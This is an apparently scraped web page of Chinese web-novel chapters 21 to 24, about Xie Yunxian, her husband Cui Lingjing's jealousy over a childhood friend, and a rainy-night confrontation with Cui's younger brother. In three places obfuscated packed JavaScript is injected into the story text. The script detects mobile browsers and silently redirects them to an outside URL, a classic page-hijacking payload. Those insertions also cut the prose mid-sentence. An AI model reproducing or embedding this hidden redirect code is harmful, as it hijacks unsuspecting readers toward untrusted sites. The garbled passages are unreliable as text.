难道是因为此事,崔灵景才收敛脾性,忍辱负重,事事忍让吗? “为何说是心病呢?” “这个得去问他自己。”卫大夫摆摆手。 “此病可能痊愈?” 谢云闲心知,这么多年仍未治好,几乎是希望渺茫了。 卫大夫往外走,“命是他的,由他,不由我。” - 崔灵景被宁夫人叫了去,替她办个什么事,谢云闲等到傍晚,没等到崔灵景,倒是又等来关秉良。 关秉良——秦州的关副将,连夜偷跑回来不说,还成天往人家崔府跑,谢云闲简直头疼得不行。 谢云闲将他拉至一个隐蔽角落,压低声音,“你又来做什么?” “我来找你。” “我知道!我问你来找我做什么?” “你今日说要与崔灵景和……唔唔唔!” 谢云闲一把捂住他的嘴。 说巧不巧,崔灵景和卢青突然回来了,还正好朝他们这边走来。 崔灵景站在关秉良身后,与谢云闲默默对上了视线。 谢云闲只能僵着嘴角,冲他笑了一下。 趁她愣神,关秉良扯开她的手,不悦道:“你怎么不让我说?你今早自己说的,若我说出缘由,就跟崔灵景和离,你又要赖账?” 21. 风幡动 谢云闲太阳穴突突直跳。 她面上带笑,却背着崔灵景掐了关秉良一把。 关秉良声音戛然而止,吃痛得叫了一声。 谢云闲的目光越过他看向崔灵景,声音绵软宛转,充满关切:“你去哪了,怎么这么晚才回来?” 崔灵景神色如常,看不出有没有听清关秉良的话。 “崔家近来有意与关家结成亲家,宁夫人让我替她跑一趟,去关府送礼,增进两家情谊,为后续联姻做准备。” 原来如此。 宁元珍确实有个女儿叫崔桃笙,去年方及笄,传闻玲珑聪慧,面容也是姣好的。 关秉良听见崔灵景的声音,终于意识到不对。 他转过身,终于见到了别人口中的——谢云闲的夫君,崔灵景。 崔灵景与他想象中虚弱无力病秧子形象相差甚远。其眉如远山,眸若深潭,比起征战沙场饱食风霜的自己,肤色更白,身子更薄弱,眉眼更柔和,眸中却暗藏凌厉之气,刚柔并显。 谢云闲微笑着拍了他一巴掌,警告他别乱说话。 随后她给崔灵景介绍:“这位是关秉良关将军。” 崔灵景颔首行礼,问:“关将军怎么从秦州回来了?” 他怎么知道关秉良在青州? 是早有耳闻?还是今早听见采薇对她说的话,特地去打听了? 关秉良心底不爽,嘴上漫不经心应道:“哦,刚回来。” 谢云闲觉得自己拳头有点痒。 崔灵景点点头,“想必是很紧急的事吧。” “哦,是。” 崔灵景很自然地问:“刚才听夫人在跟关将军聊和离一事,可是真的?” 他状作苦恼:“夫人厌倦我了?” 谢云闲微笑,“没有的事,关将军开玩笑呢。” 谢云闲转头冲关秉良粲然一笑,笑里藏刀,“是吧,关将军?” 关秉良看着谢云闲。 谢云闲乌发如云,面薄腰细,眉眼生来便是极好看的。几年未见,她的面容未有何变化,神态却更成熟,行事更沉稳了。而他们之间,似乎也多了一道不清不楚的屏障。 关秉良不情不愿地说:“……是。” 崔灵景在场,他还是收敛了些,没乱说话,拆谢云闲的台。 谢云闲张口就来:“关将军一直把我当亲妹妹,原本是要当我姐夫的,可惜姐姐早逝,看在姐姐面上,他从小就十分照顾我,我成亲一事没来得及告诉他,他方才为这事生气呢。” 关秉良附和道:“啊……嗯。” 吵架归吵架,关秉良还是十分配合谢云闲。 这似乎成了习惯,以前谢云闲撒谎,他虽气得牙痒痒,但都会跟谢微芳一起为她作证,替她隐瞒。 关秉良道:“开了个小玩笑,还望四公子莫怪。” 崔灵景不知信了没有,看上去毫不在意,“关将军言重了,我不会放心上。即便夫人真想和离,我也尊重夫人的选择。倒是我,起先不知关将军身份,若有冲撞,还望关将军恕罪。” “……” 听了这话,谢云闲脸上笑意淡了些。 莫名有点生气,她也说不上来。 崔灵景是真的一点儿也不在意啊。 谢云闲不想让崔灵景跟关秉良聊下去,关秉良也不想看到崔灵景,三人客套了几句后,崔灵景先回去了。 崔灵景和卢青终于走后,谢云闲不由分说地把关秉良拽走了。 未免再闹出什么事,谢云闲决定跟他说清楚。 “关秉良,你喜欢过我姐姐,对吧?” “啊,你、你提这个,做什么……”关秉良声音渐小。 一如当年,提及谢微芳,关秉良还是会变得憨涩拘谨。 谢云闲不由叹息,这么多年过去,早已物是人非,只有关秉良,心性从未改变。 谢云闲对他没脾气了,好声好气道,“阿良,你看着我。” 关秉良听话地乖乖看着她。 “我是谁?” “谢霄啊。” “那你应当清楚,我不是姐姐,我不是谢微芳。我们长得不像,性格也不同。我比不上她的心灵手巧、博学多才,不会像她一样在你失落沮丧时耐心安慰你,也从未鼓励过你,说‘阿良以后一定是个大将军’。” “你说这些做什么……” 谢云闲打断他,继续说:“如你所言,我们认识多年,知根知底,你清楚我是什么样的人,对吗?三年前你走之前跟我表白,说打了胜仗后回来娶我,你没有回来,不是忘了,是不敢吧?你最清楚,你为什么没有回来。” “阿良,别再自欺欺人了。姐姐已经走了,不在了,不会回来了。你不能囿于过去,走不出来。趁这次回来,多出去走走,去结识几个好姑娘,别老是一根筋的,非要吊死在一棵树上。” 谢云闲放缓了声音,“姐姐……想必也不希望你这样。” 谢云闲这一番话,何尝不是对自己说呢? 她曾不断告诉自己,过去已然过去,她应当放下过去,放下那些执念,去过自己的生活。 可她忘不掉,忘不掉那日兴高采烈回家,见到的却是姐姐的尸体。忘不了那日母亲垂下的手和来不及说出口的话……而如今,每当她想起过往,最终都会浮现出荷华昏倒前痛苦的脸色。 手上突然一阵凉意。 谢云闲抬头望了望天,天色昏暗,空中飘起了绵密的雨丝。 又下雨了啊。 雨丝飘进眼里,一直沉默不语的关秉良眨了眨眼,“霄儿……” 谢云闲再次无情打断他:“你别急着说话,先回去想想我说的。” “待你想明白了,若还想娶我,再来找我。” 话虽这么说,谢云闲心里想的其实是:你要是还想娶我,那就是你没想明白! 关秉良沉默了一会,“我知道了。下雨了,你回去吧,别淋湿了。” - 崔府。 “诶,你方才见着没,那人今天来了两趟,都是来找四夫人……” “听夏嫂说了,那是关府的公子,秦州的关小将军,跟四夫人是青梅竹马,两人自小情深意切……” “原来如此,不过这关小将军怎么回来了?” “据闻是为四夫人回来的。” “真假?” “今早我起来见门外站了个人,差点吓没了魂。听门房说,这关小将军卯时未到就来了,等了一早上。这还不是为四夫人回来的?” “四夫人怕是肠子都悔青了吧?嫁给小将军总比嫁给一个病秧子强!” “嘘!你小点声。” “说说怎么了,这不是人尽皆知的事吗……四、四公子。” 宁元珍屋外正嚼舌根的老婢女猛地止了声,匆忙起身冲崔灵景行了个礼。 卢青跟在崔灵景身后,面色阴沉。 他早就对这些人有诸多不满,要不是崔灵景忍着,他早就动手了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883564|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 令他意外的是,崔灵景脸上看着没什么情绪,眼底却有阴云聚拢——他不高兴了。 卢青觉得新奇。 崔灵景不喜欢崔府里的人,一直持漠视态度,正如对待崔净风,很少会流露出如此直白的不高兴。 这回是真的不高兴了。 崔灵景瞥了一眼眼前两人,“大夫人问我何人在门外大声喧哗,可是你们?” 两个婢女吓得面容失色:“奴婢知错了!奴婢这就告退!” 崔灵景却没放过她们,微笑道:“胆子倒不小,背地里嚼谢关二家舌根?” 两个小婢扑通跪在地上,给崔灵景磕头:“奴婢错了!恳请四公子放我们一马!” 这两人毕竟是宁元珍房里的人,崔灵景表面恐吓她们,实际上并不能把她们怎样,否则会伤了大夫人面子。 她们也是仗着崔灵景和谢云闲不能把自己怎样,才如此放肆,在宁元珍屋前明目张胆谈论此事。 …… 走出院子,就听见一阵响亮的拍掌声,“好玩!好玩!真有意思!” 这声音不用想,就是崔净风。 果然,崔净风踱着步子从墙后走了出来。 卢青一见到他,就知道他在蹲墙角,听了许久,前缘后果都听了去。 但此处是大夫人的地方,他最怕宁元珍,必定不敢乱来。 崔净风母亲死后,崔玄墨就把他交由宁元珍管教。崔净风是个纸老虎,在宁元珍威压之下,半句话都说不出来。况且,宁元珍也间接害死了他的亲生母亲。 崔灵景正不爽,懒得理睬他,头一回见了他就走,完全把他当空气。 卢青对自家公子的态度暗爽,但某个人就气炸了,原地蹦得几丈高。 “崔灵景!” “该死!” “你给我等着!” 崔灵景充耳不闻。 走远了,那小屁孩的声音也听不见了。 卢青见自家公子脸色还未缓和,哪壶不提开哪壶,安慰道:“公子,那些人说的话您没必要放心上。” 崔灵景看他一眼。 “那关将军看着行事莽撞暴虎冯河,比不上公子知书达理足智多谋,谢二姑娘心里一定是向着公子的。虽说他们乃青梅竹马,情深潭水,互相了解,有感情基础,不像和公子这样,互不相识,包办婚姻,公子还别有目的……不过,这,强扭的瓜,也甜!二姑娘毕竟是公子明媒正娶回来的……虽说公子不见得真喜欢二姑娘,二姑娘当然也不一定喜欢公子……呃,但这不就对了吗?公子跟二姑娘一看就是双向奔赴!我看今日二姑娘对那关将军的态度也一般,说不准只是关将军热脸贴冷屁股……” 卢青本想安慰一下自家公子,却见崔灵景脸色越来越黑,目光愈发阴沉。 “说完了?”崔灵景冷冰冰道。 “说……说完了。” 他其实没说完,但看情况是不能再说下去了。 否则有性命之忧。 “让你去查的事查清楚了?” “那人十分狡猾,狡兔三窟……暂时还未找到。” “那你怎么还在这里?” 卢青心里一咯噔,果然生气了。 “是!我这就去查!” 卢青走了两步,又停下,转头忍不住对崔灵景说:“公子,您要是有什么心事,随时来找我。” 崔灵景手背青筋暴起。 “我这就走!您别气啊——生气伤身——” 22. 吃口醋 关秉良走之前,给了谢云闲一个松绿色香包。 “你给我这个做什么?”谢云闲奇道。 关秉良眼神四处瞟,“咳,我自己做的,你先收着。” 谢云闲目瞪口呆,“你自己做的?你何时如此贤惠了?” 关秉良支吾半天没说出个所以然来。 想着也是他的一片心意,谢云闲便收下了。 …… 崔灵景推门进来,看见谢云闲身子歪靠着桌子,一手撑着脸颊,一手举起,手里拎着一个香囊,正对着它出神,连他进来了都没反应。 这个香囊他从未见她拿出来过,应当是别人送的。她能愣愣地盯着看这么久,想必意义非凡。 “咳咳。”崔灵景咳了几声。 谢云闲这才回过神,迅速将香囊收入袖中,端庄坐好。 “你忙完了?” “嗯。”他状作随意地问,“关将军送你的?” 就知道他看见了,谢云闲想。 毕竟收了其他男子的礼物,谢云闲稍有些心虚,怕他介意,“啊”了一声,含糊道:“对,他自己做来玩玩的,说让我欣赏欣赏。” 谢云闲本意是强调“玩玩”,崔灵景却偏离了重点:“他自己做的?” 谢云闲:“……” “尝试嘛,小小的尝试。” “哦,挺好。”崔灵景道。 他今天看起来兴致不高,谢云闲察觉不对,以为他碰到了什么难事,便问:“宁夫人叫你去做什么?可有为难你?” 崔灵景摇头,道:“她问起延迟回门一事,此事瞒不住,我便照你昨晚的说法,说你半路遭遇绑匪,婢女受了伤,随意杜撰了几句。” 谢云闲咂摸着这话,不对劲。 果然,下一句崔灵景就问她:“为什么要回谢府旧宅?” 谢云闲长叹一口气,该来的还是得来。 “那我就如实相告吧。” 崔灵景表示洗耳恭听。 “其实那日我去医馆,并非谢府半夜遭贼,而是闹了鬼,我险些被那白鬼打伤,从台阶上滚了下去。我猜测闹鬼一事乃人为,故与荷华密谋捉鬼。那日恰逢卢青来送花名册,我心想有他在,他会武术,能保我们一命,便叫上了他。” 谢云闲清楚,卢青知道的,崔灵景一定也知道,这些事不好隐瞒,只能如实相告。 她嘴上说得随意,实则脑子转得飞快,心里想着如何搪塞过去。 “那人对谢府十分熟悉,且行踪隐蔽,我猜想他可能藏于谢府中,或是还是谢府的人,因此我想找一找,谢府里是否藏有暗室,是那人容身之所。第一次和卢青一起,去了阿爹的房间,并无所获,还险些受困于大火。我对此事耿耿于怀,想在回益州前查明此事,好回去跟阿爹商议对策。” “结果正如你所见,没想到暗室竟藏在兄长房间,而那门房正是扮鬼、纵火之人。至于他为何要这么做,我想,只能抓住了人,才能弄明白了。” 暗室不可能是搬家后修建的,旧宅那么安静,施工动静那么大,不可能无人知晓。 谢云闲没说,但她知道崔灵景也能想到这一点。 谢观声在自己房中藏了个暗室,为什么? 他与那门房有何关系? 若非他们相识,门房如何得知暗室的存在? 此事疑点重重,联想起之前的推测,谢云闲觉得毛骨悚然,不知是否要继续探查下去。 昨夜一片混乱,离开时谢云闲和崔灵景重新将谢观声房间收拾了一番,才悄无声息离开谢府,期间并未被人察觉。 崔灵景应当是信了,点点头,“我让卢青去追查那人下落,暂无消息。这几日你便待在崔府,以免那人寻仇报复。” 谢云闲当然明白,如今最好的行动便是一动不动,以免打草惊蛇。 然而她没有太多可以等待的时间了。眼下迷雾重重,她心里乱成麻,始终拿不定主意。 窗子未关,大风骤起,如怒涛翻滚,冲进屋里,卷入一阵芳草泥土香。帷幔纷飞,灯笼相撞,两人的衣衫也被吹得凌乱。 崔灵景迎风而立,看似薄如纸片,却纹丝不动,安如磐石。 “看起来要下大暴雨了。”谢云闲望着窗外道。 春风吸进肺里,崔灵景拳头抵在唇边,咳了起来。 谢云闲见状连忙起身把窗给关了,又让他坐下,给他斟了杯茶。她摸了摸,茶似乎有些凉了,便喊来采薇,让她去煮一壶新的。 崔灵景看着到处忙活的谢云闲,有些诧异。 她头一回表现得如此积极主动,他不但不雀跃,反倒心一沉。 崔灵景边咳边皱眉,事出反常必有妖,难道她真想和离? 终于,谢云闲在他对面坐下了,“卫大夫让你回门前去他那里取药,你别忘了。” 崔灵景捉摸不透她的想法,“嗯”了一声。 谢云闲盯着崔灵景,心想,方才没冻着他吧? 如今她一听他咳嗽,就想起卫大夫说起的往事,脑中不禁浮现出年幼的崔灵景跪在雪地里的画面。 虽说是崔灵景先将人推进冰湖,但再怎么样,在雪地里跪一夜,这惩罚未免太重了。崔灵景能活下来,可见他意志力多么坚决,生命力多么顽强。 “……”崔灵景不咳了,在谢云闲的注目下喝了口茶。 茶杯还未放下,谢云闲就目光灼灼地盯着他问:“怎么样,好点了没?” 不对劲。 非常不对劲。 崔灵景谨慎措辞:“还好。” 谢云闲从未对他这般关心体贴过。 她究竟有何意图? 崔灵景决定试探一下。 “咳,关将军那边,你跟他说清楚了?” 谢云闲心一跳,不知道为何话题又绕回了关秉良。 她笑了一下,“嗯,我说事发匆忙,没来得及告诉他,让他不要介怀,他便也不生气了。” “他此番匆忙回来,只为这事?” “啊,”谢云闲明眸一转,“他许久没回来,回来探亲,顺便才来问责我罢了。过几日便是清明,他或许也想回来看看姐姐。” “你说他喜欢你姐姐?” 谢云闲眸光暗了暗,“嗯,我本以为他们会在一起,关秉良会成为驰骋沙场大将军,而姐姐会成为贤良貌美的将军夫人……可惜事与愿违。” “你们关系看起来很好。” “嗯,我们从小一起长大。旧宅离将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883565|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府很近,他常来找姐姐,我们也时常互相串门,一起去学堂,一起去赏春郊游。” 提起关秉良那家伙,谢云闲语气轻快了些,“他从小就那样,看着头脑简单,性情木讷,其实心地善良,为人诚恳。” 崔灵景不太愉快地“哦”了一声,“谢姑娘与关将军真是情投意合。” “……” 谢云闲敏锐嗅到一丝不对劲,“你……” “吃醋了?” “……” “吃醋”二字似乎与崔灵景不沾边。 谢云闲见到崔灵景的第一面,既觉得他如和煦春风,又觉得他扑朔迷离,充满距离感。他看着柔弱,逆来顺受,但心思时常令人捉摸不透……这样的崔灵景,也会吃醋么? 崔灵景不说话,谢云闲有点尴尬。 她决定揭过此页,开始转移话题,“开玩笑的。我与关将军相识多年,要真是有点别的情愫,早就水到渠成,结发为夫妻了……” 谢云闲滔滔不绝,崔灵景却一直沉默着。 他其实没有在听谢云闲说什么。 他走了个神。 他在想——这就是吃醋? 一种心底微微泛酸的感觉,但很上头,总会为一些话和一些举措莫名不爽。 见到关秉良时,他就有一种冲动,想将谢云闲拽到自己身边,不想让她跟那人并排站着。 听见那两个老奴婢的对话时,他产生了阻扰谢云闲跟关秉良见面的念头。 原来这就是吃醋? 待他回过神来,谢云闲的话已经扯到了结尾:“时候不早了,早点歇息吧。” “是。”崔灵景沉默许久,突然冒出这么一句话。 谢云闲没反应过来:“什么?” 崔灵景道:“嗯,我吃醋了。” 谢云闲笑容一滞,瞳孔一颤,“你……” 崔灵景坦然道:“我夫人跟别的男子有说有笑,还收了别人的东西,我吃醋一下,也是合理的。” 谢云闲呆愣在原地。 她移开视线,“都说了我跟他只是朋友,睡吧。” 她落荒而逃。 …… 这一夜谢云闲辗转难眠。 方才承认了自己吃醋的崔灵景却安然躺在她身侧,沉沉睡着了。 屋外黑云滚滚,倾盆大雨如同决堤,大雨打在树叶上,打在瓦片上,发出噼噼啪啪的声响。 谢云闲翻了个身,背对着崔灵景,寻了个更舒适的姿势。 她刚躺好,背后的崔灵景却动了。 谢云闲紧闭双眼,一动不动,假意睡着了。 背后一空,崔灵景起了身,下了床榻,披了件外衣就往外走。 待声音远去,谢云闲才睁开双眼,十分困惑:这么晚了,他去哪儿?外面狂风骤雨呢…… 谢云闲等了一会,也没见崔灵景回来,反正也睡不着,便坐了起来,搓了把脸,抬眼往外看。 窗户紧锁,屋外一片漆黑,雨声与风声交织,像一场盛大的狂欢。 “这么大雨……” 谢云闲起身,打开门,凉风骤然侵入,吹得她长发纷飞,躲闪不及,全糊在了脸上。 谢云闲想了想,决定出去看看。 23. 风吹雨 夜色浸泡在雨水中,沉重而潮湿。 门房打着盹儿,在梦里追着蜻蜓。 一个身影推开了门,撑着油纸伞,狂风吹起他的长袍。 门房的脑袋一点一点,像有节奏的滴漏。他一下子磕在案上,痛得惊醒过来,半梦半醒中,只看见一个身影扬长而去。 “谁啊……” - 崔灵景撑伞走在风雨里,手里拿着一张轻薄纸片。 纸条是今日碰见崔净风时,崔净风给他的。 上面写着几个潦草的字:她回谢府了。 他在暗示,谢云闲回谢府的事被他发现了,他听见崔灵景在宁元珍面前撒了谎,故以此作为要挟。 崔灵景翻到纸条背面,上面也写着字,留了时间地点:寅时,蝴蝶亭。 约在这个时间这个地点,明眼人都能看出崔净风没安好心。 为了隐藏身份,崔灵景纵容崔净风所言所行,崔净风却更加嚣张跋扈。 事情到了紧要关头,若再放任崔净风为所欲为,恐怕会坏事。 不知道崔净风对谢云闲的事了解多少,此人心绪不稳,万一他发怒,说不定真会捅到宁元珍那里,如此一来,会有点麻烦。 崔净风自以为是报复崔灵景的好机会,哪知是崔灵景愿者上钩,以自己为饵,诱他深入。 沿着曲桥一路走到蝴蝶亭,亭内无人。雨势凶猛,如蝶翼般的亭盖也难以遮挡,雨串飞溅进来,溅湿了崔灵景的衣衫。 崔净风约他的时候,应该没想到今夜会狂风骤雨。但崔净风要面子,不会临阵逃脱。 …… 另一边,谢云闲望着屋外的暴雨,有些畏怯。 不过她咬咬牙,披了件莲蓬衣,系紧帽绳,寻了把伞,还是冲了出去。 崔灵景出了卧房,又没在书房。 这个点,不知所踪,他会去哪? 谢云闲漫无目的地走着,眼前突然闪过几个黑影。 谁? 看样子不像崔灵景,崔灵景素来淡定从容,不会在雨夜里这么匆忙,身形也不相符。况且,除了卢青,崔灵景外出时不会带其他仆人。 谢云闲当机立断,跟了上去。 这几人行踪诡异,沿着曲折回廊,出了院门,看样子是要离开崔府。 谢云闲愈发觉得不对,加快了脚步。 她想看清为首那人的脸,可雨实在太大了。她担心脚下打滑,又怕被他们察觉,因此不敢走太快。 雨水流过瓦片缝隙,顺着房檐滑落,壮阔如瀑布。雨声盛大,掩盖了谢云闲的脚步声。 谢云闲追了半路,才隐隐认出那人——看起来像是崔净风。 如此阵仗的,也只有崔净风。 崔净风出现在这里,便更可疑了。 崔灵景的离开很可能跟崔净风有关。 “哎,四夫人。”迷迷瞪瞪的门房将谢云闲叫住。 谢云闲被迫脚步一滞,回头道:“怎么了?” “这么晚了,您去哪儿?”门房强打着精神道,“前面那些都是什么人?我怎么好像看见了小公子?” “是他。”谢云闲又匆忙问,“你方才可看见其他人出去?” 他想了想,道:“确实有一个……但我没看清。” 谢云闲心里有了判断。 “多谢,我先走了。” 谢云闲不敢松懈,朝着崔净风的方向,紧跟上去。 然而崔净风一拐角,人就不见了。谢云闲茫然地立在原地,跟着崔净风的那两个小厮也慌了,像无头苍蝇一样四处打转。 “小公子?” “小公子您跑哪去了?” 看来他们都跟谢云闲一样,没看清崔净风的去向。一个活生生的人,就这么消失了。 暴雨还在下,谢云闲已经湿透了半身。 夜幕低垂,黑暗侵袭。即便走散了,也很难找到人。 谢云闲本想跟着崔净风找到崔灵景,没想到崔净风人也不见了。 - 崔净风平生第一次被人五花大绑,丢在柴房里。 隐隐约约的,他还听见了老鼠的声音,吓得一哆嗦。 他瞪着眼,周围围了一圈人,都蒙着脸,他一个也认不得。 但他们衣着朴素,灰头素面,男女老少都有,看着像寻常人家的老百姓。 “唔唔,唔,唔唔唔?” 你们是什么人? 无人应答。 崔净风从他们眼里看到了如火般的愤怒,显然是对自己的。 看来这些人都是来报复他的。 身为建康小霸王,他得罪过的人没有十几个也有几十个,他一点也想不起来最近自己做了什么事,欺负了什么人。 “没必要问这么多!”领头那人恶狠狠招呼道,“上!” 其余人一哄而上,赤手空拳,开始揍崔净风。 无数拳头和无数脚印落在崔净风身上,他翻来覆去,躲也躲不掉,只能“唔唔”痛喊。 这是他出生以来最狼狈的时候。 从前都是他欺负别人,现在他却虎落平阳被犬欺。 这些人下手都很有分寸,没往致命处打,也不拿利器,只用拳脚,打得他鼻青脸肿,眼泪都飙了出来。 “唔唔……” 阿娘…… 混沌间忆及往事,眼泪根本止不住。 快要失去意识时,他听见模糊的一声:“够了。” 这声音…… 那些人的动作都逐渐停了下来。 众人退开,他嘴上的麻布也被人取了下来。 “呕——”崔净风干呕了几声,才打起了精神。 “崔,崔灵景……”他痛恨地盯着走来的那人,“竟然……是你……” 崔灵景大大方方承认了:“是我把大家叫来的。” 他一招手,其余人都冲他颔首,而后默默退下了,里间只剩崔灵景与崔净风二人。 崔灵景的外衣也湿了,但淡雅气质丝毫不改。他飘然而立,俯视着崔净风。 “但不是我让他们打你的。” 崔净风倒在地上,灰头土脸,狼狈至极。 他仰着下巴,望着崔灵景,“呵……我……就知道……” 他们约定的时间地点,只有崔灵景知道,这些人必然是崔灵景叫来的。 “不必用这种怨恨的眼神看着我,倘若我不来,你可能会死,我也算你的救命恩人。” 崔净风“啐”了一口,“你他娘可真会给自己脸上贴金!” “如果不是你,我……根本不会……变成这样……咳!咳!”崔净风咳了两声,咳出血来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883566|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还不明白吗?造成这一切的,是你。” 崔灵景垂眸,冷淡地看他,用施舍般的语气道:“要出来的是你,得罪他们的是你,害你变成这样的,也是你自己罢了。” 这回轮到崔净风咳个不停了。 - 影影绰绰的,谢云闲看见一伙人从自己对面的巷子里出来,借着夜色,各奔东西。 崔净风不就是在那边失踪的么? 谢云闲攥紧了伞柄,避开崔净风那两个随从,绕到了对面的巷子。 谢云闲四下摸索,发现了一个暗门。 难道崔净风方才就是在这里被人拖了进去? 雨势磅礴,谢云闲推了推门,竟然推开了! 里头很暗,谢云闲又没有灯,她往里探了探头,小声喊道:“崔小公子?” “崔净风?” “你在里面吗?” “……崔灵景?” 回答她的,是“砰”的一声撞击。 谢云闲怕闹出人命来,硬着头皮走了进去,才发现里面是个柴房,但没点灯,黑漆漆一片。 倏忽,一个模糊身影飞向她,谢云闲下意识伸手接住。 “咳咳,咳咳。” 谢云闲的眼睛适应了黑暗,侧头一看她扶住的这人,竟然有些眼熟。 “崔灵景!” 崔灵景咳了几声,仍是温和道:“你怎么来了?” 与崔灵景同时咳个不停的,还有屋内的另一人。 谢云闲循声望去,看见了拎着木棒的崔净风。他靠在木柴堆上,暗夜里辨不清他的表情,但拿着木棒的手好像在抖。 崔灵景跟崔净风打起来了? “你他娘的崔灵景……咳咳咳,咳咳咳……”崔净风骂骂咧咧,“我还没动手,你就摔了?” 怎么看起来,崔净风伤得更重? “这是……怎么回事……”谢云闲问。 崔灵景半依偎在谢云闲怀里,笑道:“他被别人揍了,拿我出气呢。” 谢云闲对崔净风感到无语,但崔灵景还靠在她身上,忍不住道:“那个……你能不能先起来?” 崔灵景又咳了起来,“咳咳咳咳,咳咳……” 他站稳了身子,离开谢云闲的怀抱,抱歉地说:“方才没缓过来。” 谢云闲:“……” 你这咳得,有几分刻意了吧? “罢了,我们回去吧。”崔灵景顺手揽过谢云闲。 谢云闲却挣脱了一下,捡起地上的伞,递给崔灵景,“你先走吧。” “什么?” 谢云闲看向崔净风,“我想跟他聊聊。” 你跟他有什么好聊的? 话到嘴边,却变成了温柔又体贴的一句:“那我等你。” 想起崔灵景的风寒,谢云闲认真地摇了摇头。 “你衣衫都湿透了,赶紧回去换一身吧,别加重病情了。” 谢云闲分外体贴,崔灵景却笑不出来。 怎么回事?刚走一个关秉良,又来一个崔净风? 她要赶他走,自己冒着危险也要跟崔净风聊? 谢云闲当他放心不下,道:“你快走吧,我没事的,你不用陪我,我想跟他单独聊。” 崔灵景脸色变幻莫测。 哦,还要单独聊。 24. 必自毙 崔灵景走后,谢云闲朝崔净风走过去。 崔净风警惕地盯着她:“你想说什么?” “你不觉得这里的味道有点难闻吗?出去说吧。” 阴雨天木柴潮湿,有种发霉的味道。 雨势渐小,蝴蝶亭独立于雨幕中,那两名随从不知所踪。 崔净风看着惨,但伤得不重,还能走,但说话会扯到嘴角,很痛。 “你到底要做什么?” 谢云闲没回答,把伞塞到他手里,“撑着。” “我凭……” “那你自己淋着吧。”谢云闲果断把伞收了回去。 大雨浇落,崔净风瞬间成了落汤鸡。 单是淋雨还好,他身上还有伤口,沾了水,疼得他龇牙咧嘴。 他作势要跑,被谢云闲一把拽住。 “你、你干嘛?” “你半夜出门,宁夫人可知?” 崔净风脸色一变,“你不也半夜出现在这里?” “我是跟着你来的。” 崔净风狡黠一笑,“你别以为我不知道,前日你压根没遇见绑匪,而是从谢府出来的,还去了医馆!” 谢云闲一顿,“你看见了?” 崔净风这种纨绔子弟,平日没少在外面晃悠,被他碰见也不奇怪。 难道是因为这事,崔灵景才出来跟崔净风见面的? 火气冲上心头,谢云闲拽住崔净风的衣领。 “你知道了,然后呢?去宁夫人那里告发我?宁夫人会对我怎么样?会因为我回了一趟家,就责罚我吗?” 崔净风被她的动作吓一跳,脸色苍白。 “你做这些有何意义?” “好、好玩啊。”崔净风道。 谢云闲看着温和文雅,崔净风当她也是好欺负的软弱之人,没想到此刻她眼神凶狠锐利,他竟有些不敢直视她的眼睛。 “好玩?”谢云闲被气笑了,“那我把你丢进下面那池子里,你觉得好不好玩?” “你怎么可能……” “不如试试?比比谁力气比较大?你体术很差吧?”谢云闲冷笑,“骄奢淫逸,不学无术,你可真对得起你娘!” 仿佛被人点了穴,崔净风定在原地,“你说什么?” “你知道你娘为何会选择自尽,将你抛弃吗。” 崔净风勃然大怒:“你在胡说八道什么!” 谢云闲脸色不改,“因为你娘是个争强好胜的人,事事都想要做最好的,她输了,便不愿让别人折辱自己。而你,论文论武,都不如他人,还欺软怕硬,所以你留不住她。” “你闭嘴!你闭嘴!” 崔净风被戳到痛处,吱呀乱叫。 “你当真以为自己很潇洒?很威风?表面盛气凌人,背地里还是个哭红鼻子的小屁孩。”谢云闲看着他,“崔净风,别再自欺欺人了,若你娘知道,得被你蠢哭。” 崔净风怒吼:“你根本不懂!” “是,我确实不懂。” 谢云闲平淡道:“我娘于四年前去世,留下一道难解的谜题,其中的隐情我不得而知,可我从未放弃。这几年来,我一刻也不敢松懈,不敢让她失望。” 崔净风发怔地看着她。 “我从未以荒诞度日麻痹痛苦,也不会通过恃强凌弱来逃避现实。因为这是懦弱之人的做法。” 崔净风垂下头。 “崔净风,回头是岸,别再给你娘丢人了。” “……” 谢云闲不知他听进去了没有,继续道:“你去给崔灵景道歉。” 崔净风瞳孔一缩,震惊道:“我怎么可能去给他道歉?” 风声呼啸,两人无声对峙。 “知错能改,善莫大焉。你当崔灵景真对付不了你?” 崔净风想起方才崔灵景的所言所行,沉默着没答话。 “我看到那些人了,你身上的伤,是他们揍的吧?若非你招惹他们,他们怎么会对你动手?” 崔净风脸色一会青一会白。 “崔灵景又何曾做过对不起的你事?从始至终,都是你在挑衅和任性吧? “最终呢?你得到了什么?满满的虚荣心?还是这一身的伤? “我好心劝告你,多行不义必自毙,你自己琢磨吧。” 谢云闲知道他撇不下面子,也不愿与他多说。 